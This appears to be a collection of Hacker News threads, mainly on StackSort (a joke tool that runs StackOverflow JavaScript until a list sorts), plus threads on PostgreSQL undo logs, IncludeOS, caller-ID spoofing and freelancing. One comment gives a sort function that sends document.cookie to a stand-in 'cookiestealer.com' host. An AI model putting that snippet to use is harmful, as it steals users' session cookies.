</comment></comment><comment><USER22> I'm sure that TempleTypeDef (<http://stackoverflow.com/users/501557/templatetypedef>) is loving this. As their answer ([http://stackoverflow.com/questions/14761032/infinite- recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in- javascript-quicksort#14761203)) went from 5 upvotes when this was originally submitted to 29 at the time of this comment. Presumably all due to the HN effect.

Does the script run through the same order each time, because I keep getting that answer first, and by the upvotes, as are a bunch of others.

<comment><USER23> It looks like the same order, and every time i run it stops at the same answer

</comment></comment><comment><USER11> Wow.. beautiful!

I know this is only for fun, but it can start something bigger. Basically, given an input and output we could search for an algorithm that works. It reminds me a talk that PG gave in which he states people making bots to optimize code and then an intelligent compiler could be done. It sounded very futuristic, but maybe it is not that futuristic after all...

<comment><USER24> Genetic programming; type that into google scholar and look at the late-80s and early-90s papers.

<comment><USER11> Thanks!, I used to play with GP back in the university. It's really fun!

However, GP is more like an oriented random search where the space of search is really big. Here the space is somehow filtered by humans, where each hypothesis had been generated by a human and not by a machine. It would be interesting if the machine could evolve those solutions that are not quite but close to be the proper one :)

<comment><USER25> I think it's also amazing what has been done with Field Programable Gate Arrays (FPGAs) running genetic algorithms. For those not in the know, FPGAs are programmable logic, so you essentially generate random logic codes and check for their ability to for example interpret a signal properly. There was an experiment where this was done for an FPGA with only several hundred gates, over several thousands of generations. It was tasked to differentiate between a 10khz and a 10hz wave. The most amazing thing is, the resulting code used only about 50 of these gates, some of them not connected to others, yet removal of the nonconnected gates would cause inability to carry out the task (Yay, Quantum weirdness). Nor would the code work on any other, larger FPGA. Essentially, it boils down to the Genetic Algorithm finding a code that used specific quirks in the structure of the hardware, utilizing effects we are currently not aware of, to solve a problem. I wish I could find the Article in question, but it's too late in the evening.

<comment><USER26> You're looking for "Evolvable Hardware", and it sounds like you're referring to the work of Adrian Thomson.

This was done in the 90s, btw.

<http://www.sussex.ac.uk/Users/adrianth/ade.html>

</comment></comment></comment></comment></comment><comment><USER27> A while ago I mused about a program that could also post questions on SO and implement a spec that way.

I also like this thought of an algorithm failing publicly and anybody being able to jump in and fix it.

I guess people have coded in Etherpad before, but still: how about implementing some program wiki-style, with editing rights for everyone?

</comment><comment><USER28> >Don't judge me! This code is everything from badly written to extremely dangerous.

My code is never good enough. Whenever I release a piece of code, it always seems like a load of crap. And as I have got a bit better at coding over the years, this never changed. (Probably because I _do_ write shitty code.)

So I came to believe that it doesn't matter how proficient a programmer you become, you will probably always feel this way, because your eyes are already set on the next level of proficiency, your standards are always above your current abilities. And that's good, because this is how you get better.

But because of this, your code always seems like a piece of crap and whenever you decide to go public with it, you always feel compelled to make a note about this in your code. I propose that we standardize the way that we declare this sentiment, and agree on a universal sign much like the copyright sign for this idea, that says:

"I hereby declare that I am not a douche bag, who thinks his code is the best code that has ever been coded into existence. I am just a coder who aspires to provide the best code to the best of his abilities under the circumstances. I am willing to learn though, and I aspire to write better and better code, even though this piece of code might stink. But nobody is perfect. Deal with it."

</comment><comment><USER29> I can actually imagine a gist-like repo of algorithms which would be callable as Web services, each with its own URL. It would then be possible to run a search based on some predefined parameters, like in a unit test, and when an algorithm is found that performs accordingly it would be listed with stats how quick it ran.

Damn, if I only had the time to write this... |-(

</comment><comment><USER30> It would be really cool to have this implemented on a language with implicit functions (like VDM, where you can define a function by its postcondition alone). Who knows, it might actually work.

[https://en.wikipedia.org/wiki/Vienna_Development_Method#Func...](https://en.wikipedia.org/wiki/Vienna_Development_Method#Functional_modelling)

</comment><comment><USER31> That's awesome. Think about it, if we were able to extract the meaning (what it does and under which assumptions) of the algorithms on SO we could use them as an API. You declare "what you need" and which assumptions and you just made a call to an API to download the best, peer reviewed, code. Like something code as service.

<comment><USER32> This is still a far way away from the program actually understanding the code to the point unnecessary for that. However, if I understand what you are describing, a simmalar system exists for Haskell (and possibly other languages)[1]. The idea behind hoogle is that you search for a type signature and get back functions with such a type. This idea probably would not work well for most languages, as it depends heavily on the strength of haskells type system. Also, hoogle only looks at standard libraries, but there is no reason we cannot use the same type system based search with SO.

[1] <http://www.haskell.org/hoogle/>

</comment></comment><comment><USER33> Great. I thought about implementing it myself after reading the XKCD, I knew it was plausible.

I tried it and it found an algo that actually worked:

[http://stackoverflow.com/questions/14761032/infinite- recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in- javascript-quicksort)

<comment><USER34> run it a few more times, that's the only one it finds.

</comment></comment><comment><USER35> I did wonder how long it would take after reading that comic to someone implementing it.

Congratulations!

</comment><comment><USER36> Quick someone write a 'sort' that steals github session cookies. ;P

<comment><AUTHOR> I only search answers posted before the comic was released for this reason :) (Also, I block any code that uses the word "cookie")

Plus, I'm assuming that since they let anyone run arbitrary code on subdomains, they've thought this through.

<comment><USER37> Quick, someone edit your code that has "javascript" and "sort" as keywords so it steals session cookies!

<comment><USER38> This won't work on Github's subdomain, but you'd do it like this:

      function sort(data) {
         $('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
         return data.sort();
      }

</comment></comment></comment></comment><comment><USER39> This is impressive. I wish I possessed the same skills and determination as you to just go and make something without overanalysing things. This is impressive, beautifully done.

</comment><comment><USER40> I'd love a way to see the code that ran to generate the output.

<comment><AUTHOR> There's a link to it in the "output" on the right (but yeah, I should make it more obvious)

</comment></comment><comment><USER41> Amazing

One could join this with unit-tests so you would fetch code until the unit tests for what you are trying to do pass

And then maybe add some genetic programming to it if the code is almost there

</comment><comment><USER42> Awesome! Should apply a performance test to each correct algorithm and later make a list of the most efficient sort code per list type

</comment><comment><USER43> Now I'm waiting for 4chan to game StackOverflow so that the first answer this script finds will be some kind of a prank ;).

<comment><USER44> the algorithm (wisely!) ignores all posts dated before it's published

</comment></comment><comment><USER45> Awesome, I love it. an automatic up-vote on the first Stackoverflow answer that works would be my only addition.

</comment><comment><USER46> This could be a very effective means for developing a new problem solving app. For example: You are having some Javascript template errors. Just load your template and check for all potential solutions on SO and pump out the corrected template. Possibilities are endless. Way to guys. Very impressed.

</comment><comment><USER47> Worked perfectly on first try. And you only have to change two words in the code to totally re-program it.

</comment><comment><USER7> Beautiful, beautiful!

</comment><comment><USER48> Semi related question -- how is this implemented security wise? I took a look at the github repo and it seems to be all clientside JS, and it's just making ajax GET search requests to StackOverflow, then parsing the results. Isn't this prevented by same origin policy?

<comment><USER49> Looks like they're using CORS. The Access-Control-* response headers control that.

</comment></comment><comment><USER50> This is brilliantly amazing. Whats stopping it from accidentally finding an infinite loop, though?

</comment><comment><USER51> Love it. It shows that how the "i" language could work.

The "i" stands for internet or interactive: [http://tandrasz.blogspot.com.au/2011/03/i-programming- langua...](http://tandrasz.blogspot.com.au/2011/03/i-programming-language- part-1-concept.html)

Tomasz

</comment><comment><USER52> This might actually be an interesting way to find the best implementation for a problem...

</comment><comment><USER53> Love it. So out of every 20 code snippets or so on StackOverflow, one is for sorting?

<comment><AUTHOR> It only runs answers tagged "javascript" and "sorting". So, one out of every 20 code snippets about javascript and sorting actually has working, runnable code.

</comment></comment><comment><USER54> Squeak has this kind of thing actually built in: from a sample input and output IIRC it tries most available methods to find any that produce the output. Fetching more code off the net of course adds a whole new dimension...

</comment><comment><USER55> Neat. Reminded me of how Pharo Smalltalk you can open the Method Finder and enter the arguments and expected output, and it lists methods that return the correct output. Now, back to work in my primitive, modern IDE :(

</comment><comment><USER56> Brilliant, I love it. I see a bunch of variations on this popping up real soon.

</comment><comment><USER57> Definitely up there with one of the coolest things I have seen this year.

</comment><comment><USER58> Really good work gkoberger!

</comment><comment><USER59> "If you like running arbitrary code in your browser, try it out." - O.O

<comment><USER60> Aren't all websites I visit able to run arbitrary javascript code in my browser???

<comment><USER59> True. But in this case you could post a stackoverflow question / answer to take advantage of the fact that it will be run on another machine.

</comment></comment></comment><comment><USER61> This is one of the coolest things that have happened on HN this year!

</comment><comment><USER62> So beautiful.. should ... have sent... a Perl book writer.

</comment><comment><USER63> This is probably the most elaborate setup for a joke ever.

</comment><comment><USER64> Is this really an 'alt text' what the author of this page is referring to? Isn't 'alt text' a piece of text that shows when the image is unavailable?

<comment><USER65> Hover over an image with an alt-text attribute, and a tooltip with the alt- text pops up. All of the xkcd comics have alt-text, and it's a good practice in general, for accessibility software.

<comment><USER15> Actually, as other people mentioned, the real attribute that XKCD is using is "title":

        <img src="http://imgs.xkcd.com/comics/aspect_ratio.png" title="I'm always disappointed when 'Anamorphic Widescreen' doesn't refer to a widescreen Animorphs movie." alt="Aspect Ratio">

<comment><USER65> Indeed!

</comment></comment></comment></comment><comment><USER66> this is terrific. i wish i could give you all my karma.

</comment><comment><USER67> So if I make a post on stackoverflow with the tags "javascript" and "sort", and put some dirty JS in there, could it take down people's browsers?

<comment><AUTHOR> In theory, sure. However, I only use answers posted before the comic was released to avoid this very problem :)

<comment><USER68> Are you taking edits into account?

<comment><USER69> Doesn't seem like it.

Code:

      var common_url = '&pagesize=100&order=desc&site=stackoverflow&todate=1363473554';

SO /questions api:

      todate – Unix timestamp of the maximum creation date on a returned item

</comment></comment></comment></comment><comment><USER70> I saw that this thing fetches a Javascript code and runs in my machine and am very dubious about its "script" action.

</comment><comment><USER71> This is absolutely genius, made my day! :D

</comment><comment><USER34> has nobody else noticed that the default list always sorts with the same algorithm? [http://stackoverflow.com/questions/14761032/infinite- recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in- javascript-quicksort#14761203)

<comment><USER72> That's because it always tried answers in the same order. If you tell it to keep going, it'll succesfully sort with [http://stackoverflow.com/questions/4833651/javascript- array-...](http://stackoverflow.com/questions/4833651/javascript-array-sort- and-unique#4833835) and [http://stackoverflow.com/questions/12137690/javascript- sort-...](http://stackoverflow.com/questions/12137690/javascript-sort-sparse- array-keep-indexes#12137767) as well.

<comment><USER73> Those two don't work in the general case.

The first only leaves the unique members of the list, so you get a sorted set. The second sorts lexicographically, because javascript's .sort() method on arrays sorts lexicographically. This means that if you have a list of numbers like [1, 2, 10], it will get sorted as [1, 10, 2]. Unless you pass your own comparator in.

What this page really demonstrates is that there is precisely one answer on stackoverflow containing a complete generic sort function in javascript (quicksort in fact).

<comment><USER72> Sorry; I should have specified that I only used the example input.

</comment></comment></comment></comment><comment><USER74> throw-enough-sh*t-at-the-wall-and-something-will-eventually-stick method of software development :)

</comment><comment><USER75> This a riot. Thanks for the laugh :)

</comment><comment><USER76> i love this - thank you for brightening my day. (and indirectly making me create an HN account.)

</comment><comment><USER77> I can't stop laughing. Well done!

</comment><comment><USER78> The best sorting algorithm ever.

</comment><comment><USER79> This is why I love programming!

</comment><comment><USER80> Humm ... 6 minutes already, but it's still "Fetching page 1..." for me.

<comment><AUTHOR> Some people have reported that its doing this for some Firefox configurations. Try Chrome?

<comment><USER80> Humm ... works instantly with Chrome. Not sure why it's not working with Firefox (haven't seen the code yet - might debug if I get some time)

<comment><AUTHOR> Let me know if you do. It works fine for me in Firefox (I'm an ex-Mozillian; that was the first place I checked), so I don't know why it's not working.

<comment><USER81> Here is the error log for firefox:

TypeError: e is undefined <http://gkoberger.github.com/stacksort/js/lib/jquery.js> Line 3

</comment></comment></comment></comment></comment><comment><USER82> This is interesting!

</comment><comment><USER83> Oh my god yes.

</comment><comment><USER84> Great stuFF

</comment><comment><USER85> how to change height and width manually of pdf by using html2pdf class in php

</comment><comment><USER86> Genius.

</comment><comment><USER87> love it!

</comment><comment><USER88> Which x k x d is it referring to? I missed that one!</comment>


99 percent of all Mobile Malware Targeted Android Devices  - <AUTHOR> http://www.macrumors.com/2014/01/21/schiller-security-report/

<comment><USER2> An unbelievable story coming from macrumors.com. Where's that article about Apple falling behind Microsoft, Android...and what was it, even Nokia?</comment>


Video games nearly accomplish penetration within Australian households - <AUTHOR> http://gaoom.com/2013/10/25/video-games-nearly-accomplish-penetration-within-australian-households/

<comment><USER2> Hard to say 7 out of 10 is "complete penetration"... Also the author probably meant saturation, not penetration.</comment>


Slides: Responsive web design from the future - <AUTHOR> http://speakerdeck.com/u/kneath/p/responsive-web-design-from-the-future

<comment><USER2> For the curious, here's a few extra links from this talk: <http://warpspire.com/talks/responsive/>

Hope you enjoy!

</comment><comment><USER3> I'm glad that designers are starting to see the problems with page state that's not tied to URL state. Nearly all the sites I've seen using #! state have got this wrong.

</comment><comment><USER4> I loved the site hosting the slides—does anybody here have an invite or the ability to setup a new account? Would be much obliged.

</comment><comment><USER5> The infinite scroll example he linked to in the presentation is very nice. Putting the max_id in the URL is a great way to save the state.

<http://warpspire.com/experiments/history-api>

<comment><USER6> the idea is good, but the implementation (from user perspective) is not 100% correct. try scroll somewhere, say you see text "My dad just told me I'll get my late grandfather's cornet" on top and refresh the page, you will see different stuff.

</comment></comment><comment><USER7> Loved this, would suggest anybody further interested in real data on page load speed to check out:

How site speed impacts conversion rate / engagement:

[http://www.webperformancetoday.com/2010/07/01/the-best- graph...](http://www.webperformancetoday.com/2010/07/01/the-best-graphs-of- velocity/)

How site speed impacts Google rankings (and tools to asses / fix):

[http://www.conversionvoodoo.com/blog/2010/04/official- google...](http://www.conversionvoodoo.com/blog/2010/04/official-google-news- low-website-speed-will-lower-you-page-rank-and-your-landing-page-conversions/)</comment>


Do or undo – there is no VACUUM - <AUTHOR> http://rhaas.blogspot.com/2018/01/do-or-undo-there-is-no-vacuum.html <comment><USER2> One cool thing about the way MVCC currently works in PostgreSQL is that transaction rollback is instantaneous - there is no undo work to perform if you chose to rollback your transaction.

This proposal seems like it would do away with that feature - but perhaps it's a good trade off in practice. I wonder what people here think.

<comment><USER3> I like their stance on it:

> This system is very much symmetric. A transaction that commits generates > pretty much the same amount of work as a transaction that aborts. This is > very elegant, but it's not best in practice, because very few people run > workloads where anywhere close to 50% of transactions abort. (Anyone who has > such a workload will, I suspect, find that PostgreSQL handily outperforms > the competition.) It would be better to have a system where we try to make > commits cheaper, and aborts more expensive.

<comment><USER4> I agree - I know that my organization would see an increase in performance, as 90%+ of our transactions are committed. I am excited to see this in action.

</comment></comment></comment><comment><USER5> It's years since I looked deeper into the inner workings of Oracle, but isn't their proposal how Oracle does deal with commit and rollback?

Which makes me think: Maybe the true reason Postgres does it differently isn't technical but legal. Could there be a patent?

<comment><USER6> I would think any patent would have expired by now as Oracle was founded in 1977.

<comment><USER7> Yes, but it wasn't what it is now.

First version programmed in C (not assembler) was version 3 (1983). Row-level locking was introduced in version 6 (1988). Constraints, stored procedures and triggers - version 7 (1992).

<comment><USER8> Oracle didn't have transactions until 5 or 6 if I remember correctly

<comment><USER7> AFAIR transactions were implemented in Version 3.

<comment><USER8> Just checked the manual and we were both wrong - version 4

<comment><USER7> Ah, and version 4 was rewritten in K&R C! (from White Smith C)

</comment></comment></comment></comment></comment></comment></comment><comment><USER9> Lots of people mentioning Oracle, but only one mentioning MySQL (which is famous for doing this; I wasn't even sure Oracle did ;P). This article hasn't showed this is a massive win... and frankly I doubt this is even that difficult to prototype. Before writing this article I would have loved to see them do some simple benchmark to show this was an interesting direction. As it stands I don't even see why this was published: they didn't even do a simple comparison to MySQL.

Like, this is how I read this article: "PostgreSQL does something one way, which everyone is used to, and it is clearly pretty stupid; we have an entirely new way of thinking about this that we are pretty sure--but not 100% sure as we aren't _that_ arrogant--will be better than the way it is happening now: we will just do this, this, and this, which certainly seems better. more to come!".

The article I would have wanted to see: "it is well known in the world of database software that there are two ways of doing this one thing, and PostgreSQL is pretty unique in doing it this way which we know has some downsides, such as this, this, and this; of course, the other way also has known downsides, such as this, this, and this; we started to ask ourselves if it would still make sense to try that model for some workloads against PostgreSQL".

Essentially, a good version of this article would have at least mentioned why MVCC is interesting at all (as this article skirts dangerously close to "clearly we should just update everything in place"). It would have talked about the advantages of delaying write amplification vs. doing two writes immediately. It would have talked about Heap-Only-Tuples as a form of garbage collection on that write amplification. It would have talked about reasons why people would opt to have lower than 100% fillfactor on a table even if they weren't storing multiple tuple copies. It would have talked about snapshot serializability and predicate locking and how they are designed around MVCC and aaked of those still made sense if implemented using an undo log. It would have admitted that most other databases do it the other way, and asked "why didn't PostgreSQL"?

This article barely even went into the primary _advnatage_ of the scheme they are describing, which is that if you have a million indexes on a table you don't have to update all of them. Seriously: the reason to care about this has nothing to do with the VACUUM cost as if you sit down with a pencil for a moment it should be obvious that if you have to do two writes now vs. one write now and one write later you have only lost flexibility in scheduling your maintenance. People get burned by VACUUM due to bad planning for later capacity needs when they least expect it, not due to the raw amplification. But the index issue? That is serious. They didn't talk about the index issue as the article was supposedly already too long, but... the article didn't really say anything.

""" We at EnterpriseDB are intending to try implementing the MySQL InnoDB undo log technique in PostgreSQL to see if it offers meaningful benefits vs. having to do a later VACUUM as we currently have to do; wish us luck! For more information on undo logging, please read the following articles.

[https://dev.mysql.com/doc/refman/5.7/en/innodb-undo- logs.htm...](https://dev.mysql.com/doc/refman/5.7/en/innodb-undo-logs.html) [https://mariadb.com/kb/en/library/undo- log/](https://mariadb.com/kb/en/library/undo-log/) [https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb- un...](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging- and-history-system/amp/) """

^ This entire article is just saying exactly this.

In the end, this article is frankly leading to more confusion than clarity :/. It has people here asking if PostgreSQL did it this way due to patents, and assuming that the simplistic idea that "if 50% of your statements commit then this is a win" is correct. The article even starts with a totally misleading concept for how much table bloat you are going to end up with: it isn't 50% after the first VACUUM (which you should be doing pretty quickly). I guess I don't even understand why this article was published today.

<comment><USER10> I wrote a previous post on why MVCC is interesting, and how it relates to the topic at hand. It's the first link in the article.

I don't think that it's accurate to say to say that there are only two ways of doing this. There are more than two, and there's another post by my colleague Amit Kapila which talks about that. That's the second link in the article.

We have in fact done benchmarks. We plan to publish them.

But you can't put everything into one article. Several people mentioned thinking this one was quite long, and it barely scratches the surface of the topic. If I'd included an in-depth discussion of all the topics you raise here, it would have been four or five times longer. To try to avoid that, yet give the context you want, I linked to previous posts which cover this topic, some of which were written explicitly to provide context for this article.

But I'm sorry you didn't like the article. I tried my best.

</comment></comment><comment><USER11> Does this affect `SERIALIZABLE` isolation level? It seems like it might not change anything because roughly the same number of pages get marked for predicate locks.

</comment><comment><USER12> Isn't this roughly how Oracle implements MVCC?

<comment><USER13> MySQL too (with InnoDB).

<comment><USER8> ... which is owned by Oracle

<comment><USER14> Yes, but InnoDB wasn't developed by Oracle but by a Finnish company before MySQL became property of Oracle.</comment></comment></comment></comment>


The Guy in the Glass:  a Poem About Being Yourself (1934) - <AUTHOR> http://www.theguyintheglass.com/gig.htm <comment><AUTHOR> Was made aware of this when listening to the Starbucks episode of the Acquired podcast ([http://www.acquired.fm/episodes/2017/4/3/episode-34-starbuck...](http://www.acquired.fm/episodes/2017/4/3/episode-34-starbucks- ipo-with-dan-levitan)). Great podcast and great poem. I never read poetry, but this one sounded so right.</comment>


Linux compatibility in IncludeOS - <AUTHOR> https://www.includeos.org/blog/2018/musl.html <comment><USER2> Claiming that they've "implemented" 42 syscalls seems like an overstatement: almost everything is a stub that does nothing, and the bits that are implemented are not even close to being half-baked. Even relatively easy stuff like dup is missing.

<comment><USER3> The number of system calls says close to nothing of the actual API surface present here. It's a poor measure. What actually matters is: what can I run?

That said, 42 is not enough to run a lot of applications.

It'll be interesting to get to the point where they can run a language's runtime or unit tests.

Take it from someone who worked on gVisor: this is gonna take a long time, and eventually you'll end up with a system that's just Linux. You'll end up either being bug-for-bug compatible, which means bringing in loads of compatibility code and architecting your kernel just like Linux, or you'll end up having to change applications (and then you're not all that compatible anymore).

Neither are fun or sustainable compatibility stories. You'd probably actually get Linux apps to work on a random OS faster & nicer by porting gVisor.

> Moreover, since implementing a system call is typically pretty simple [...]

You're in for a fun ride, folks.

<comment><USER4> (I work for Includeos)

I don't think we need to run everything. I think we'll be happy if we can take some common libraries and compile them and they work. That is currently our goal. Down the road, depending on interest, we can perhaps expand a bit.

>> Moreover, since implementing a system call is typically pretty simple [...]

> You're in for a fun ride, folks.

Thanks for the heads up. It was meant as opposed to implementing the syscall and layers on top of it.

<comment><USER3> That sounds much more attainable than what the blog post suggested - sorry if I took that the wrong way!

<comment><USER4> No worries. I never meant for the blogpost to reach an audience outside of our pretty narrow knitting circle so I didn't pay much attention to detail. I very much appreciate your insights here.

</comment></comment></comment></comment></comment><comment><USER5> If you're into unikernels, rumpkernels[0] are the least-modification-required approach I've seen.

Basically, if you compile your program with a minimally (as minimal as is possible) modified compiler, you get "rumprunnable" output. there's a list of popular packages built to run on rump kernels[1] (Rust is supported[2]). I haven't tried to use the toolchain yet, but it's pretty appealing to me.

The biggest issue is that rumpkernels seem to not be in developed anymore. I can't tell if the entire is just off somewhere being productive with their rumpkernels and are happy or if no one is around at all. The Github organization[3]'s repos all seem to not have been changed in a while either.

Outside of rumpkernels, Nabla containers[4] also look interesting to me. They're built on Solo5[5], but the only microkernels on there are currently MirageOS (for OCaml) and IncludeOS (C++?). Nabla looks amazing (containers look like a great fit and they seemed to have improved ergonomics massively), but the limitations[6] are intense.

[0]: [https://github.com/rumpkernel/wiki/wiki/Info:-FAQ](https://github.com/rumpkernel/wiki/wiki/Info:-FAQ)

[1]: [https://github.com/rumpkernel/rumprun- packages](https://github.com/rumpkernel/rumprun-packages)

[2]: [https://github.com/rumpkernel/rumprun- packages/tree/master/r...](https://github.com/rumpkernel/rumprun- packages/tree/master/rust)

[3]: [https://github.com/rumpkernel](https://github.com/rumpkernel)

[4]: [https://nabla-containers.github.io/](https://nabla- containers.github.io/)

[5]: [https://github.com/solo5/solo5](https://github.com/solo5/solo5)

[6]: [https://github.com/nabla- containers/runnc#limitations](https://github.com/nabla- containers/runnc#limitations)

<comment><USER4> I'm hoping we're be able to port libuv to IncludeOS (which should be doable, much like libuv IncludeOS is eventdriven). Then we should be able to get Node up and running. Running Node.js through IncludeOS on Nabla could be interesting in a "FaaS" context.

Last I heard the author of Rumprun has picked up beer brewing full time and isn't interested in maintaining the project.

It would be great if someone where to pick it up.

OSv is also very relevant. They provide a much richer and more compatible runtime environment compared to IncludeOS (I think they even have zfs). And OSv is pretty active these days, so if you looking for a way to run some high performance stuff OSv is worth looking into.

<comment><USER5> Thanks for shedding some light on the possible status of the Rumprun maintainer! Hope he's happy brewing beers :)

Thanks for mentioning OSv[0], I'd never heard about it before.

I'm excited to see what happens with Nabla, I read the accompanying paper and was pretty excited about the possibilities. Nabla's greatest strength is it's ergonomics, IMO, though rumprun comes close (someone took some time to make dockerized containers for it).

[EDIT] - looking at OSv's (primary?) tool capstan[1], I'm not sure it's quite the same, it seems more like linuxkit[2] than rumprun. Maybe my intuition is wrong, but it seems much more like you're bringing along a stripped down OS than you're writing a program meant to interact with a shared unikernel. The distinction is so fuzzy in my head I'm not sure there is one, but it feels different.

[0]: [http://osv.io/](http://osv.io/)

[1]: [https://github.com/cloudius- systems/capstan](https://github.com/cloudius-systems/capstan)

[2]: [https://github.com/linuxkit/linuxkit](https://github.com/linuxkit/linuxkit)

<comment><USER6> Nabla containers actually use rumprun under the covers. Here is the rumprun fork that supports a solo5 backend: [https://github.com/nabla- containers/rumprun](https://github.com/nabla-containers/rumprun)

</comment></comment></comment></comment><comment><USER7> The article is "broken", it talks about Musl and then says the found Musl.

</comment><comment><USER8> There's a lot to like here.

1\. Focusing on compatibility is smart because it's the weak point of IncludeOS and other unikernel projects.

2\. Musl is an incredibly underrated project and I hope one day it becomes the new standard libc.

This is just a first stab, but it could turn into something great.

I wonder if gvisor and includeos could be combined in interesting ways, or at least steal from each other's code and ideas?

</comment><comment><USER9> This is an exciting development that I am watching closely.

It should be noted that whatever the limits of the 42 system calls, network operations are very well supported. Many useful programs hardly need anything else.

</comment><comment><USER10> Would it be possible to run Linux as a unikernel and port your application as a kernel module? How a leaned down Linux kernel would compare to includeOS?

<comment><USER4> There is a project that tries to turn Linux into a library which could lead to a unikernel approach with the Linux. If you look at [https://github.com/lkl](https://github.com/lkl) you can see where they are.

A leaned down Linux-kernel with the application linked into kernel space would be pretty comparable. But it would be pretty enormous beast.

</comment></comment><comment><USER11> I'm pretty ignorant on Unikernels so maybe there's another solution, but not being able to `fork()` is a significant problem for many applications.

<comment><USER12> My understanding is that unikernels are single-application by design. I agree that a mechanism to spawn other apps is useful, but in this case it won't be a simple fork but the creation of a complete new os instance.

<comment><USER13> There are plenty of applications that used multiple processes.

<comment><USER4> Absolutely. And most of those are deemed out of scope for Unikernels.

</comment></comment></comment></comment><comment><USER14> Looks like Linux syscalls are becoming some kind of de-facto standard. They are already implemented by Linux, FreeBSD, Windows and now IncludeOS.

<comment><USER15> The mind reels.

Not because Linux is a bad kernel, mind you, but because UNIX itself reeks of ideas that were ok when it was originally developed and clunky at best today. Even Microsoft seems to have given up. The future of computing looks pretty grim to me.

<comment><USER16> Could you elaborate?

<comment><USER15> On what? Reasons UNIX isn't so great? There was an entire handbook written about it decades ago, much of which is still relevant. Text isn't a universal interface, files are not a good abstraction for everything (not the way UNIX does it anyway), the permissions system is extremely limited and quite backward for modern problems, the way the file hierarchy is organized hasn't made sense for about 30 years, POSIX has a lot of well known issues, etc.

</comment></comment></comment></comment><comment><USER13> Can someone point me to a more detailed overview of IncludeOS than the brief summary they have on their home page?

<comment><USER4> For a technical, in-depth overview of IncludeOS and how it was made I find the main authors presentation at Cppcon 2017 is a pretty good introduction:

[https://www.youtube.com/watch?v=h7D88U-5pKc](https://www.youtube.com/watch?v=h7D88U-5pKc) (one hour, quite entertaining).

There is also the original paper which was presented at the 2015 IEEE 7th International Conference on Cloud Computing Technology and Science (CloudCom).

[https://ieeexplore.ieee.org/abstract/document/7396164](https://ieeexplore.ieee.org/abstract/document/7396164)

</comment></comment><comment><USER17> So, what's wrong with newlib?

<comment><USER18> Nothing; it is just much smaller by not providing POSIX and Linux like interfaces.

Alpine proves full musl can already run a full distro's worth of programs and is very easy to port anything using glibc.

Newlib tends to be used in projects like Cygwin as a small C standard library, where the rest of the POSIX API is implemented separately (by proxying to Win32 system calls for Cygwin).</comment></comment>


Ask HN: I received call from my own number, How is it possible? - <AUTHOR>

Just received a call from my own number. How is it possible at all? Called my operator for details. they said I haven't received any call for last two hours <comment><USER2> I've seen this happen. With many VOIP services it is trivial to configure _any_ number as the caller ID. It can also be done with T1 PRI, etc.

</comment><comment><USER3> Easy as pie. You can buy PBX add-ons to let you spoof any number you care to send out. Telemarketers drool over that sort of stuff.

</comment><comment><USER4> Did somebody also talk to you?

<comment><AUTHOR> Nope. no response after I answered.</comment></comment>


Ask HN: Conflict of Interest while freelancing - <AUTHOR> I'm a freelancer in Germany, and I'm waiting for the new project to be finalised. Meanwhile I'm working on a ML based app, and a startup approached me to do some hourly work. The startups is in the same space as my product, and is similar in some ways to my app. We've not signed a contract as I'm planning to work only 10-16 hours for the startup. I've not yet started the work (for the startup) yet.
Will there be potential conflict of interest/ legal issues in the future if I launch my product?
Should I take some steps to indemnify me from the other startup?
Any help is highly appreciated. <comment><USER2> Your client is most certainly going to view your work as encroaching upon their intellectual property. That is simply how managements think. Regardless of the merit of their beliefs.

It might be possible to avoid future problems by having a contract where you disclose that you are working in the same space as the startup and that you will not use your code in their product, nor their code in your product. It is of course, difficult to prove that down the track.

If I was in your situation, I would decline the work. 10-16 hours doesn't generate enough revenue to pay for lawyers in the future.

</comment><comment><USER3> Since you're working on what could converge into one product suite, have you considered offering a formal partnership instead of a strict hourly arrangement? They might be able to bring a steadier stream of work to you, and help provide you a more robust company platform to launch your own project (by sharing it).

You could always put an escape clause into your agreement that indemnifies any and all of your projects if the alliance fails to take off financially.

The only reason I suggest this is because you're actively considering doing the work for money, suggesting that your own project is underfunded (and less financially urgent than doing the work of others). They can obviously help you with this problem if they're offering to pay you.

A lot of deals are better than 100% of nothing.

</comment><comment><USER4> Decline the work or make it transparent to both parties via a contract. 10-16 hours is not worth the potential legal trouble as well as burning bridges.

</comment><comment><USER5> Put it in the contract. Get a lawyer to double check. Make it clear to them as well. I usually triple check the anti-competition and the IP clauses in all contracts.

This kind of thing happens all the time. People who are experts in a field get hired by competitors in the same field.

<comment><USER2> Agree with your suggestion, but the cost of lawyers is probably too much in light of it only being 16 hours work.

</comment></comment><comment><USER6> Steer clear from them - as far away as possible. Document important dates such as when/how/why you first came up with the idea, when you began working on it, when the startup approached you, etc. Absolutely do not look at anything technical from them and definitely any discussions about their product.

How would you feel if you hired a freelancer to work on your product and then shortly after they launched a similar product?

</comment><comment><USER7> The way I see it you have two options:

1\. Make what you're working on explicit and transparent in the contract you draw up with that startup. This has to be made / checked by lawyer in order to avoid any ambiguity.

2\. Don't work for the startup.

If option #1 is worth it depends on how much profit you expect to make from the contract.

</comment><comment><USER8> So even in your opinion it's in the same space and similar.

Don't work for them, don't have them send you anything remotely technical (specifications, code, documentation).

<comment><AUTHOR> They're a scrappy startup, and don't have much legal firepower. They're having hard time find people, so I agreed to help them. But after reading the comments here, I think it's better to back out instead of having potential future legal troubles.

<comment><USER9> _They 're a scrappy startup, and don't have much legal firepower._

And if your project becomes big money, they may sue because they are still struggling to get by and you aren't.

So I think your impetus to turn it down is the correct one.</comment></comment></comment>


Researcher forced to resign over study showing no bias in police shootings - <AUTHOR> https://www.thecollegefix.com/scholar-forced-to-resign-over-study-that-found-police-shootings-not-biased-against-blacks/ <comment><USER2> Anyone who thinks this is okay has not studied history in the 20th century.

<comment><USER3> Anyone fast enough to accept anything...

<comment><USER3> The truth is, conservatives would hide the fact you were living with agressive police police (police state attribute) anyway. And this whole post is hardly tech centered. [https://www.theguardian.com/us-news/series/counted-us- police...](https://www.theguardian.com/us-news/series/counted-us-police- killings)

<comment><USER2> The recent events have made me much more conservative, and I have zero desire to back unwarranted aggressiveness from police.

So what you said is not true.

</comment></comment></comment></comment><comment><USER3> Literally a biased, unbalanced website It's in the sites about me part, lol okay.

